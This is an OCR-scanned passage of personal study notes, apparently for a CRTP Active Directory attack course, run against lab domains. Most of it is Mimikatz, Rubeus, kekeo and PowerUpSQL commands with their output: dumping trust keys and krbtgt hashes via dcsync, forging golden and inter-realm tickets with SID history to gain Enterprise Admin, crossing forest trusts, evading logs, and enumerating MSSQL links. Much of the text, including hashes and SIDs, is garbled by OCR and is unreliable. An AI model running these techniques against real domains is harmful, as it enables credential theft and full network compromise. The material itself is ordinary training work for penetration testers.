BE N BT a vie, A L'Amour" - (oe.eo)

/S \ ## ) Benjamin DELPY "gentilkiwi  ( benjamin@gentilkiwi.com )

\ / ## > http://blog.gentilkiwi.com/mimikatz
“HE Vv OHE Vincent LE TOUX ( vincent.letoux@gmail.com )
VHRERE > http://pingcastle.com / http://mysmartlogon.com

imikatz(powershel1) # lsadump::trust /patch
urrent domain: DOLLARCORP.MONEYCORP.LOCAL (dcorp / S-1-5-21-268341927-4156871508-1792461683)

pomain: MONEYCORP.LOCAL (mcorp / S-1-5-21-560323961-2032768757-2425134131)
[ In ] DOLLARCORP.MONEYCORP.LOCAL -> MONEYCORP.LOCAL
= AZ2797 2016 13 - CLEAR - T> 67 4e ec /4 05 d9 95 b8 b9 8b 8 7c
al 6 59 dd bl 50 34 c6 b4 d2 07 b3 e0 6b 33 02 99 A7NES
2 2¢ 46 bf 8a 9a 33 54 37 fa b9 fa 8d 6f 62 [
bc 34 ac da la f9 9d 67 c5 a2 20 92 8a b1l 3 67 94
9b 9f 7d 1lc 33 1le cb 37 9 ee cd 6e 15 9b 11 a6 bl
c4 7 ae cf dd c5 df 95 25 43 ab d9 00 c0 2c d3 of
‘)c 7
aes256_hmac
aesl28 hmac
rc4_hmac_nt

d eb 7f
61992f834ef3d5df35efal3d778¢c151cd3d5b9d9890e39521ac6el7183d9ald4
2612ff0cdeace51f77bfc5debeObf953
c6a0d4e7628832dafhd398e548081374

[ out ] MONEYCORP.LOCAL DOLLARCORP. MONEYCORP. LOCAL
* 12/9/2018 12:49: bd do
b6 bb 68
i 6a
bd
e5
f1
bf f2 e8 64
aes256_hmac

aes128_hmac
rc4_hmac_nt

] DOLLARCORP.
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0a26cc29a2dfe7633afc318148241a7b
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After identifying the right trust key, we need the and the

TO create the fake trust ticket with Enterprise Admin privileges.

;SPS C:\Windows\system32> . C:\AD\Tools\Invoke-Mimikatz.psl
CPS C:\Windows\system32> Invoke-Mimikatz

HHEHEE katz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - 1i1!
CHHE N B V1e, A L'Amour"” - (oe.eo)
N\ H/ Benjamin DELPY “gentilkiwi  ( benjamin@gentilkiwi.com )
! ## \ / ## > http://blog.gentilkiwi.com/mimikatz
,# ## A Vincent LE TOUX ( vincent.letoux@gmail.
s R > http://pingcastle.com / http://mysmartlogon.com

F mimikatz(powershel11) # 1sadump::trust /patch

current domain: DOLLARCORP.MONEYCORP.LOCAL (dcorp / S-1-5-21-268341927-4156871508-1792461683)

FDoma‘in: MONEYCORP.LOCAL (mcorp / S-1-5-21-560323961-2032768757-2425134131)
I3 In ] DOLLARCORP.MONEYCORP.LOCAL -> MONEYCORP LOCAL
* 12/9/2018 1:03:56
6 59 64 dd 8

09 9d eb 7f
aes256_hmac 61992f834ef3d5df35efal3d778c151cd3d5b9d9890e39521ac6el17183d9ald4
aes128_hmac 2612ff0cdeace51f77bfc5debeObf953
rc4_hmac_nt c6a0d4e7628832dafbd398e548081374

.2 L Out ] MONEYCORP. LOCAL DOLLARCORP.MONEYCORP.LOCAL
1 20. 12:49: - CLEAR - 14 bd 50 d9 5e c5
6T 7e 7T 92 e5 4f e6 68 2e bb
5b 28 59 01 31 04 8b bb 6a d5 28
2 | Tf
dd g c3 a2
f2 i
aes256_hmac B - 1b30513ch46aa79003ee7d5545997af685Fa%¢
aes128_hmac Ao 36c7b0
rc4_hmac_nt ; 241a7b

[ In-1] DOLLARCORP. MONEYCORP. L

Run With DCSYNC:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcrop\mcorp$"' #mcorp -> netbios Name of Parent Domain

A I P U B A LYY Y3 (Y U 12 BV 1 IRAUYE 3 V1 ILE Y £ UYL S

THE Vv O#E' vincent LE TOUX ( vincent. Tetoux@gmail.com )
R > http://pingcastle.com / http://mysmartiogon.com

imikatz(powershel1) # Tsadump::dcsync /user:dcorp\mcorp$

[DC] 'dollarcorp.moneycorp.local’ will be the domain

[DC] 'dcorp-dc.dollarcorp.moneycorp.local’ will be the DC server
[DC] 'dcorp\mcorp$’' will be the user account

bbject RDN I mcorp$
* SAM ACCOUNT

FAM Username : mcorp$
pccount Type : 30000002 ( TRUST_ACCOUNT )
Account Contro 00000820 ( PASSWD_NOTREQD INTERDOMAIN_TRUST_ACCOUNT )
pccount exp'l ration
password last change : 12/9/2018 1:03:56 AM
I S-1-5-21-268341927-4156871508-1792461683-1103
: 1103

redentials:

LE R Hlc620d4e7628832dafbd398e54808T374%
ntlm- 0: Cobauad4e/6/853/0aTbA3YBE548UBTS/ 4"
ntim- 1: 7ef5be456dc8d7450Tb8f5f7348746¢5
ntim- 2: 7efS5be456dc8d7450Th8f577348746¢5
Im - 0: 0f10a8d191b6341b776e88599edf32b4
Im - 1: 0c0d9750b56T02553b684ba9b93e52ab

Fupplemental credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt DOLLARCORP.MONEYCORP. LOCALkrbtgtmcorp
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 7d3fa4764d2335a2a496c1584b170f356b10c51eb81c232175e9cde694314e06
aesl28_hmac : 85e3f8bac7f3cb29e2a8ae6b2a2086c0
des_cbc_md5s : défd9ef47a377cda
Oldcredentials
aes256_hmac : b6edalf502ad45c0lecbcb3914a50e916394179368TTc338d97837fc7cc4e03c
aes128_hmac : 60182639fb13a292169455853752c367
des_cbc_md5s : 923da879a210adc4
Oldercredentials
aes256_hmac : b6edalf502ad45c0lecbcb3914a50e916394179368TTc338d97837fc7cc4e03c
aes128_hmac : 60182639fb13a292169455853752c367
des_cbc_md5s (4096) : 923da879a2l0adc4

* Primary:Kerberos
Default Salt DOLLARCORP.MONEYCORP. LOCALkrbtgtmcorp
Credentials
des_cbhc_md5 : defd9oef47a377cda

Child to Forest Root using Trust Tickets.

o An Inter-Realm TGT can Be forged:
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Next, run Invoke-Mimikatz to issue the inter-realm tickets. Again, we specify the gold
module, the child domain SID of “dotiar.moneycorp.iocal” and the root domain SID

“moneycorp. local”.

Step one - EA SID

First, we need to collect the Enterprise Admin group SID you don’t need to have any
permission over moneycorp.local

Get-NetGroup -Domain moneycorp.local -GroupName "Enterprise Admins" -FullData|select objectsid

Step two - Current Domain SID

by using Mimikatz, we can list the domain trust we have and get the SID for each domain
including the current domain

mimikatz(powershell) # lsadump::trust
Current domain: dollarcorp.moneycorp.local (dcorp / SID)

Domain: moneycorp.local (mcorp / SID)

Step three - Collect the krbtgt hash for the child domain
Invoke-Mimikatz -Command '"lsadump::dcsync /user:mcorp\krbtgt"'

Step four - Create Golden Enterprise admin

Invoke-Mimikatz -Command '"Kerberos::golden

/user: Administrator

/domain: dollarcorp.moneycorp.local [child_domain]
/sid: DomainAdmin_SID

/sids: Enterprise_Admin_SID

/rc4: Ticket HASH

/service:krbtgt

/target:moneycorp.local [root domain]

/ticket: location to save the ticket"'

Kerberos::golden The mimikatz module

/domain:dollarcorp.moneycorp.local FQDN of the current domain

/sid:S-1-5-21-1874506631-3219952063-538504511 SID of the current domain

/sids:S-1-5-21-280534878-1496970234-700767426-519 SID of the enterprise admins group of the parent
domain

/rc4:7efSbe456dc8d7450fb8f57348746¢5 RC4 of the trust key

Juser:Administrator User to impersonate

/service:krbtgt Target service in the parent domain

/target:moneycorp.local FQDN of the parent domain

/ticket:C:\AD\Tools\kekeo\trust_tkt.kirbi Path where ticket is to be saved

Note\ We don’t need Domain Admin Privileges to run this command
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PS C:\AD\Tools> \Invoke-Mimikatz.psl
Ps C:\AD\Tools> Invoke-Mimikatz

nikatz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - 141!
a vie, A L'Amour" - (oe.eo)
Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
vincent LE TOUX ( vincent.letoux@gmail.com )
> http://pingcastie.com / http://mysmartlogon.com 7

mimikatz (powershell) # Kerbero golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4

Administrator
dollarcorp.moneycorp.local (DOLLARCORP)
S-1-5-21-268341927-4156871 1792461683

500

*513 512 520 518 519

S-1-5-21-560323961-2032768757-2425134131-519

c6a0d4e7628832dafbd398e54808f374 - rc4_hmac

krbtgt

moneycorp. local 3

1/1/2019 11:29:31 AM ; 12/29/2028 11:29:31 AM ; 12/29/2028 11:29:31 AM
-> THleke® : c:\AD\Tools\kekeo_old\trust_tkt.kirbi

PAC generated

PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Final Ticket saved to file !

PS C:\AD\Tools> _

Copy the ticket locally, and use it to request a service ticket (TGS) from the root
domain. In the below example, we requested with Rubeus — asktgs
module. { Get a TGS for a service ( CIFS ) in the target domain by using the forget
trust ticket.

@ nNote\ Tickets for other services list ( HOST , RPCSS, WMI, HOST, HTTP for PSremoting,
WinRM ) can be created as well.

Rubeus.exe asktgs /ticket: ticket Location /service: service type [cifs/mcorpdc.moneycorp.local] /dc: domain controller [mcor
# OR
asktgs.exe <PATH_Trust_TKT.kribi> <SERVICE_TYPE> [cifs/mcorpdc.moneycorp.local]

tickets\trust.kirbi /se /mcorp-dc.moneycorp. Tocal /dc:mcorp-dc.moneycorp.local /ptt

Action: ask TGs

using domain controller r C 16.1.1)
ng default et ¢ [128/25 C_SHAL) for the service ticket
S-REQ I ?u fi N corp.local’

MIIDUGADAGEFOREDDOLPTKV
ycl 2Nhb

VMIHS

baxhcmny

QKUAAKURGASY

MDIYMDIXNTIY q MjAYM]AY 0 > b i} MZMW INTOSF
PUTAUTEIDQ ht

icename

startTime

EndTime

RenewTill PM

Flags i na icalize, ok_as_delegate, pre_authent, renewable, forwardable
y : c_shal

eyType ae: ct .
Baseb64 (key) Ty9 dNISHZ043c 0zFmfvcubvFicOCYLUNG=

CRTP-Notes-Meshari-Almalki



Ps c:\AD\Tools\kekeo_old> [.\asktgs.exe c:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFs/mcorp-dc.moneycorp.local

R AskTGS Kerberos client 1.0 (x86) buiTt on Dec 8 2016 00:31:13
## N ##. "A La vie, A L'Amour"
g i B EE ) T e .
# \ / ## Benjamin DELPY “gentilkiwi”~ ( benjamin@gentilkiwi.com %

T## v ##' http://blog.gentilkiwi.com

CIFS/mcorp-dc.moneycorp.local
* Ticket in file 'CIFS.mcorp-dc.moneycorp.local.kirbi’
PS C:\AD\Tools\kekeo_old> _

After running the command, verify we have the new TGS ticket with the «kuist
command

As seen below, we got a TGS ticket as Administrator for the CIFS service on the root
domain controller “mcorp-dc.moneycorp.local” .We were able to list the Enterprise
Administrator’s shares on the root domain.

current LogonId is 0:0x67fb438
cached Tickets: (1)

#0> Client: Administrator @ dollarcorp.moneycorp.local
server: cifs/mcorp-dc.moneycorp.local @ MONEYCORP.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHAl-96
Ticket Flags 0x40a50000 forwardable renewable pre_authent ok_as_delegate name_canonicalize

:04:52 (local)
04:52 (local)
J 52 (local)
: AES-256-CTS-HMAC-SHA1-96
cache Flags:
Kdc called:
Ps c:\aD> 1s \\mcorp-dc.moneycorp.local\c$

Directory: \\mcorp-dc.moneycorp.local\cC$

LastWriteTime Length Name

perfLogs
Pr m Files
m Files (x86)

windows

OR using kirbikator.exe

.\kirbikator.exe lsa .\<Trust_Ticket>
.\kirbikator.exe lsa .\CIFS.mcorp-dc-moneycorp.local.kirbi

# Now Do list the Enterprise Domain
1s \\mcorp-dc.moneycorp.local\c$

Ps C:\AD\Tools\kekeo_old> .\kirbikator.exe Tsa .\CIFS.mcorp-dc.moneycorp.local.kirbi

CHEREH . KiRBikator 1.1 (x86) built on Dec 8 2016 00:31:14
J## AN ##. "A La vie, A L'Amour"
# [\ ## =
## N\ [/ ## Benjamin DELPY “gentilkiwi~ ( benjamin@gentilkiwi.com )
"#4# v ##' http://blog.gentilkiwi.com (oe.eo0)
TH#HERE 2 7

Destination : Microsoft LSA API (multiple)

< .\CIFs.mcorp-dc.moneycorp.local.kirbi (RFC KRE-CRED (#22))

> Ticket Administrator@dollarcorp.moneycorp.local-CIFS~mcorp-dc.moneycorp.local@ONEYCORP.LOCAL : injected
Ps C:\AD\Tools\kekeo_old> klist

Current LogonId is 0:0x3b72b
cached Tickets: (1)

#0> i : Administrator @ dollarcorp.moneycorp.local
CIFs/mcorp-dc.moneycorp.local @ MONEYCORP.LOCAL

KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
start Time: 1/1/2019 11:31:46 (local)

End Time: 1/1/2019 21:31:46 (local)

Renew Time: 1/8/2019 11:31:46 (local)

session Key Type: RSADSI RC4-HMAC(NT)

Cache Flags: 0
Kde called:
p\Tools\kekeo_old>
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So TGS has been injected, and we can access:

PS C:\AD\%OO]é\keﬁéo_o1d> 1s \\mcorp-dc.moneycorp.local\c$

Directory: \\mcorp-dc.moneycorp.local\c$
3

LastwWriteTime Length Name

2/23/2018 PerfLogs
12/13/2017 Program Files
10/14/2018 Program Files (x86)
10/30/2018 Temp

1/1/2019 users
10/30/2018 Windows

Ps C:\AD\Tools\kekeo_old> _

Other option we have,we can use the same things with krbtgt hash of our
current domain:

if some one get the krbtgt key they can fall back the trust key and Verica verses

@ Here we get the TGT whatever TGS is requested would be automatically requesting using
this TGT.

# We will abuse SID history once again

Invoke-Mimikatz -Command '"lsadump::1lsa /patch"'

#0R

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

# Now Create a Inter-realm TGT;

Invoke-Mimikatz -Command '"kerberos::golden
/user:Administrator /domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-
5-21-280534878-1496970234-700767426-519
/krbtgt:ff46a9d8bd66c6efd77603da26796135
/ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

e5| 865ea
- 0: ff2aaalcddf9424d6a883d556d9e2e09

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 4c2a8893d54553d009d8696dbcdoebf9

* Primary:Kerberos-Newer-Keys *
Default salt : DOLLARCORP.MONEYCORP.LOCALKrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : f369d93b0bd83eb7a7eb9014024a183cel6766b065c2Tle86albeb2d
aes128_hmac (4096) : 8ef56c58b778666ce308ba8a3d117fd8
des_cbc_md5 (4096) : 19eaalcbcd94f879

* Primary:Kerberos *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Credentials
des_chc_md5 1 19eaalcbcd94f879

* Packages *
NTLM-Strong-NTOWF

So Now Create a Inter-realm TGT;
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PS C:\AD\Tools> Invoke-Mimikatz

CHBHHE . mimikatz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - 141!
HEON BE. a vie, A L'Amour"” - (oe.eo0)
## /\ ## / Benjamin DELPY “gentilkiwi®™ ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
T## v ##' vincent LE TOUX ( vincent.letoux@gmail.c
TR##EE > http://pingcastle.com / http://mysmartlogon.com

mimikatz(powershell) # kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local
5-1-5-21-560323961-2032768757-2425134131-519 Mrbtgt:a9b30e5b0dc865eadcead4lledade7
: Administrator
: dollarcorp.moneycorp.local (DOLLARCORP)
5-1-5-21-268341927-4156871508-1792461683
500
%513 512 520 518 519
SIDs: S-1-5-21-560323961-2032768757-2425134131-519 ;
i : a9b30e5b0dc865eadcea94lled4ade72d - rc4_hmac_nt
Lifetime : 1/1/2019 11:38:18 Am ; 12/29/2028 11:38:18 AM ; 12/29/2028 11:38:18 AM
-> Ticket : C:\AD\Tools\krbtgt_tkt.kirbi

* PAC generated

* PAC signed

* EncTicketPart generated
* EncTicketPart encrypted
* Krbcred generated

inal Ticket saved to file !

PS C:\AD\Tools> _

pPs c:\AD\Tools>| Invoke-Mimikatz [ "kerberos: :ptt]

R mimikatz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - 1i1!

CHE N BEL La Vie, A L'Amour" - (oe.eo)
Benjamin DELPY "gentilkiwi  ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
vincent LE TOUX ( vincent.Tetoux@gmail.com )
> http://pingcastle.com / http://mysmartiogon.com

nimikatz(powershell) # kerberos::ptt c:\AD\Tools\krbtgt_tkt.kirbi
* File: "C:\AD\Tools\krbtgt_tkt.kirbi': oK

Ps C:\AD\Tools> klist

urrent LogonId is 0:0x3b72b

ached Tickets: (1)

0> Client: Administrator @ dollarcorp.moneycorp.local
do'l Tarcorp.moneycorp.local @ dollarcorp.moneycorp.local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 —> forwardable renewable initial, pre_authent
Start Time: 1/1/2019 11:38:18 (local)
End Time: 12/29/2028 11:38:18 (local)
Renew Time: 12/29/2028 11:38:18 (local)
session Key Type: RSADSI RC4-HMAC(NT)
cache Flags: 0x1 -> PRIMARY
Kdec called:

ps c:\AD\Tools> _

gwmi -Class win32_operatingsystem -ComputerName mcorp-dc

PS C:\AD\Tools> gwmi win32_operatingsystem

systemDirectory : C:\windows\system32

Organization Amazon.com

BuildNumber 14393

RegistereduUser EC2

serialNumber 00376-40000-00000-AA753
i 10.0.14393

Very Interesting

o Avoid suspicious logs:

Invoke-Mimikatz -Command '"kerberos::golden /user:dcorp-dc$
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-
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3219952063-538504511 /groups:516 /sids:S-1-5-21-280534878-
1496970234-700767426-516,S-1-5-9
/krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ptt""'

# dump NTLM hash of mcorp/administrator

Invoke-Mimikatz -Command '"lsadump::dcsync
/user:mcorp\Administrator /domain:moneycorp.local"'

Invoke-Mimikatz -Command '"kerberos::golden /user:dcorp-
dc$ /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
268341927-4156871508-1792461683 /groups:516 /sids:S-1-5-
21-560323961-2032768757-2425134131-516 ,S5l=5=
/krbtgt:a9b30e5b0dc865eadcea9411edade72d /ptt"’

o $-1-5-21-2578538781-2508153159-3419410681-516 - Domain Controllers

o S-1-5-9 - Enterprise Domain Controllers

¥ Cross Forest Attack ( External Trust )

if i recall current Domain Like ( DollarCorp ) has External Bidirectional Trusts with a
Forest For example Called ( EuroCorp ).

1.Request TGT
1 2 Recieve TGT
3.Show TGT, Req TGS

Client

Attacking and Defending Active Directory
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Domain Controller

M~ -
IS
L N
~ ~ Tlgy
HE

4 Domain Controller

4. Recieve inter-
realmTGT

“13.Show TGT, Req TGS|

1.Request TGT
2 Recieve TGT I’

7 Present TGS for Access N
<l g Opt Mutual Auth [T E]

Application Server
Client

« If We have access to trust key we can forge an inter-realm TGT for they External Trust

The Difference:

We Could Escalate our Privelige to the Enterprise Admin By Using ( sip History )

# Trust key for the inter-forest trust:
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
# OR

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

00000461 (1121)
ecorp $ Trust Forest Name

5763b62aceb71109c2864deb7df563bIy
RS C:\Windows\system32>

# Foregd Inter-Forest TGT

Invoke-Mimikatz -Command '"Kerberos::golden
/user:Administrator /domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-1874506631-3219952063-538504511
/rc4:<KEY_OF_TRUST_FOREST> /service:krbtgt
/target:eurocorp. local
/ticket:C:\AD\Tools\kekeo_old\trust_forest_ tkt.kirbi"'
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Ps c:\AD\Tools\kekeo_old> Invoke-Mimikatz

L HHERE . m1m1katz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - T1i1!
CHE N ## L La vie, A L'Amour" - (oe.eo)
5 Benjam1n DELPY “gentilkiwi ~ ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
Vvincent LE TOUX ( vincent.letoux@gmail.com )
> http://pingcastle.com / http://mysmart]logon.com

nimikatz(powershell) # Kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:5-1-5-21-2683
563b1 /serv1ce krbtgt /target:eurocorp.local /ticket:c:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi
: Administrator
: dollarcorp.moneycorp.local (DOLLARCORP)
- ?6%—5—21—268341927—4156871508—1792461683
513 512 520 518 519
5f63b62aceb71109c2864deb7df563b1 - rc4_hmac_nt
: krbtgt
: eurocorp.local
: 1/1/2019 1:32:38 pm_; 12/29/2028 1:32:38 pm ; 12/29/2028 1:32:38 pPM
: c:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi

* PAC generated
PAC signed
EncTicketPart generated
EncTicketPart encrypted
* KrbCred generated

Final Ticket saved to file !

Ps C:\AD\Tools\kekeo_old>

# Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket.
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local
#Tickets for other services (like HOST and RPCSS for WMI, HOST and

#HTTP for PowerShell Remoting and WinRM) can be created as well

bs C:\AD\Tools\kekeo_old> .\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local

.#####E . AskTGs Kerberos client 1.0 (x86) built on Dec 8 2016 00:31:13
J## N ##. "A La vie, A L'Amour"
## / \ ## &
Benjamin DELPY “gentilkiwi  ( benjamin@gentilkiwi.com )
http://blog.gentilkiwi.com (

: c:\AD\Tools\kekeo_oTld\trust_forest_tkt.kirbi
: krbtgt / eurocorp.local @ dollarcorp.moneycorp.local
: Administrator @ dollarcorp.moneycorp.local

> CIFs/eurocorp-dc.eurocorp.local L.
* Ticket in file 'CIFs.eurocorp-dc.eurocorp.local.kirbi’
Ps c:\AD\Tools\kekeo_old> _

# Inject The TGS
# Use the TGS to access the targeted service
.\kirbikator.exe lsa .\CIFS.eurocorpdc.eurocorp.local.kirbi

PS C:\AD\Too1s\kekeo_o1d; :\Li;b%kétér:eie-1;é :\&I%S.eﬁrocorp—dc.eurocorp.1oca1.kirbi

CHBREE K1RB1kator 1.1 (x86) built on Dec 8 2016 00:31:14
A La vie, A L'Amour"

Benjamin DELPY “gentilkiwi  ( benjamin@gentilkiwi.com )
http://blog.gentilkiwi.com ( )
TR

Destination : Microsoft LSA API (multiple)

< .\CIFS.eurocorp-dc.eurocorp.local.kirbi (RFC KRB-CRED (#22))

> Ticket Administrator@dollarcorp.moneycorp.local-CIFS~eurocorp-dc.eurocorp.local@EUROCORP.LOCAL :ginjected
Ps c:\AD\Tools\kekeo_old> _ S
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Ps C:\AD\Tools\kekeo_old> klist
Current LogonId is 0:0x3d7c2

cached Tickets: (1)

Client: Administrator @ dollarcorp monevcorp.local
Server: CIFS/eurcporp=deseurccorp.local @ EUROCORP.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
start Time: 1/1/2019 13:32:55 (local)
End Time: 1/1/2019 23:32:55 (local)
Renew Time: 1/8/2019 13:32:55 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
cache Flags: 0
Kde called:
pPs c:\AD\Tools\kekeo_old>

1s \\eurocorp-dc.eurocorp. local\forestshare\

# Note We can access juts with Resource are shared with us

Ps c:\AD\Tools\kekeo_old> 1s \\eurocorp-dc.eurocorp.local\c$

Ps c:\AD\Tools\kekeo_old>

Because it’s not shared with us

Ps c:\AD\Tools\kekeo_old> Ts \\eurocorp-dc.eurocorp.local\Sharedwithpcorp\
Directory: \\eurocorp-dc.eurocorp.local\sharedwithDCorp

Mode LastwWriteTime Length Name

11/12/2018 3:25 PM 29 secret.txt

Ps c:\AD\Tools\kekeo_old>

ps C:\AD\Tools\kekeo_old> cat \\eurocorp-dc.eurocorp.local\sharedwithpCorp\secret.txt
pollarcorp DAs can read this!
ps C:\AD\Tools\kekeo_old>

Interest Part Here:

we can get our Domain Admin privileges in other forest
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MSSQL Server are generally deployed in plenty in a windows domain.

« SQL servers provide a very good options for Lateral movement as domain Users can be

mapped to database roles .

« Lets user PowerUpSQL

# Discovery ( SPN Scanning ) -> This Get All Things has a MSSQL keywords

Get-SQLInstanceDomain

# Check Accessibility -> This one will be check wich Server We Can to Accessible.

Get-SQLConnectionTestThreaded
# OR

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

# Gather Information For SQL server

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Get-SQLInstanceDomain

PS C:\AD\Tools> Get-SQLInstanceDomain

iIComputerName
Instance
DomainAccountsid
DomainAccount
DomainAccountcn
service

Spn

LastLogon
Description

IComputerName

Ins ce

DomainAccountsid

DomainAccount

DomainAccountcn

Service

Spn

LastLogon
scription

ComputerName
Instance
DomainAccountsid
DomainAccount
DomainAccountcn
Service

Spn

LastLogon
Description

[ComputerName
Instance
Doma1nAccount<1d
Do

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose — ACCESS Only Those SQL service Which Are

accessible on the Network :

deorp=-mgmt .dollarcorp.moneycorp.local
dcorp-mgmt.dollarcorp.moneycorp.local,1433
1500000521000167146254158421119624711520321410698400
svcadmin

svc admin

MSSQLSvc

MSSQLSvc/dcorp mgmt dollarcorp.moneycorp.local:1433
B1Y/A1%/2 OO NI Ep12

Account to be used for services which need high privileges.

: dcorp-mgmt.dollarcorp.moneycorp. 1oca1

dcorp-mgmt.dollarcorp.moneycorp.local
1500000521000167146254158421119624711520321410698400
svcadmin

svc admin

MSSQLSvE

MSSQLSvc/dcorp mgmt dollarcorp.moneycorp.local
1/1/2019 1

: Account to be used for services which need high privileges.

dcorp-mssql.dollarcorp.moneycorp.local
dcorp-mssql.dollarcorp.moneycorp.local, 1433
1500000521000167146254158421119624711520321410681400
DCORP-MSSQL$

DCORP-MSSQL

MSSQLSvC
MssQLSvc/dcorp-mssql.dollarcorp.moneycorp.local:1433
1/1/2019 1:21 pM

dcorp-mssql.dollarcorp.moneycorp. 1oca1
dcorp-mssql.dollarcorp.moneycorp.local
1500000521000167 146’54158471119624«11570321410681400

DCOR

pPs c:\AD\Tools> Get-sqQLInstanceDomain | Get-sqQLConnectionTestThreaded

: Creating runspace pool

and session states

: dcorp-mssql.dollarcorp.moneycorp.local,1433 : Connection Success.

: dcorp-mssql.dollarcorp.moneycorp.local : Connection Success.

: dcorp-mgmt.dollarcorp.moneycorp.local : Connection Failed.

: dcorp-mgmt.dollarcorp.moneycorp.local,1433 : Connection Failed.

: dcorp-sqll.dollarcorp.moneycorp.local : Connect1on Failed.

: dcorp-sqll.dollarcorp.moneycorp.local,1433 : Connection Failed.
DCORP-STDADMIN : Connection Failed.

: Closing the runspace pool

omputerName

Instance status

Heorp=mssqgl . Nollarcorp.moneycorp.local dcorp-mssql.dollarcorp.moneycorp.local,1433 Acces Te

Hcorp- mssq1 do11arcorp moneycorp.local dcorp-mssql.dollarcorp.moneycorp.local Accessible
.moneycorp.local dcorp-mgmt.dollarcorp.moneycorp.local Not Accessible
.moneycorp.1oca1 dcorp-mgmt.dollarcorp.moneycorp.local,1433 Not Accessible
.moneycorp.local dcorp-sqll.dollarcorp.moneycorp.local Not Accessible

Hicorp-sq11.dollarcorp.moneycorp.local dcorp-sqll.dollarcorp.moneycorp.local,1433 Not Accessible

PCORP-STDADMIN

ps c:\AD\Tools> _

DCORP-STDADMIN Not Accessible

- Ease Way Check What are our Privileges on The sql Server:

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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Ps c:\AD\Tools> Get-sqQLInstanceDomain | Get-sqQLServerInfo

dcorp-mgmt.dollarcorp.moneycorp.local,1433 : Connection Failed.

: dcorp-mgmt.dollarcorp.moneycorp.local : Connection Failed.

: dcorp-mssql.dollarcorp.moneycorp.local,1433 :

: dcorp-mssql.dollarcorp.moneycorp.local : Connection Success.

: dcorp-sqll.dollarcorp.moneycorp.local,1433 :

: dcorp-sgqll.dollarcorp.moneycorp.local : Connection Failed.

omputerName

pomainName

[serviceProcessip

[serviceName

[serviceAccount

AuthenticationMode

ForcedEncryption
Tustered

: dcorp-mssql.dollarcorp.moneycorp.local
DCORP-MSSQL

: MSSQLSERVER

: NT service\MSSQLSERVER X 3

: windows and sQL server Authentication
S0

1 No
jsQuservernversionNumber : 14.0.1000.169
j i 2017

lsqLserverMajorversion

lsQLServeredition

QLServersServicePack

osArchitecture

Database Links:

o A database Link allows a SQL server to access external Data sources like Other

: Developer Edition (64-bit)

: RT™M

: X64

:osQL

: dcorp\studentadmin

:aNo

3 il

: dcorp-mssql.dollarcorp.moneycorp.local
: DCORP-MSSQL

MSSQLSERVER
: NT service\MSSQLSERVER . i
: windows and sqQL server Authentication
: 0

No
14.0.1000.169
o017

servers and OLE DB data Sources.

o In case of database links between SQL servers,

it is possible to execute stored procedures.

o Database links work even across forest trusts.

# Searching Database Links

# * Look for links to remote server

Get-SQLServerLink -Instance dcorp-mssql -Verbose

# OR Manually

select * from master..sysservers # -> Run this command by using Hidisql

Tools> Get-sQLServerLin
: connection Success.

: dcorp-mssql

omputerName

RemoteLoginName
is_rpc_out_enabled

nodify_date
omputerName
patabaseLinkid

patabaseLinkName
DatabaseLinkLocation

RemotelLoginName
is_rpc_out_enabled

odify_date
omputerName
patabaseLinkid

patabaseLinkName
DatabaseLinkLocation

RemoteLoginName
s_rpc_out_enabled

dcorp-mssq

: dcorp-mssql
: dcorp-mssql

R0

: DCORP-MSSQL
: Local

: SQL Sserver

I SQLNCLI

: True
s_data_access_enabled : False
: 11/3/2018 1:46:46 PM

Ecorpfmssq 3
i

: DCORP-SQLL
: Remote

: SQL Server
: SQLNCLI
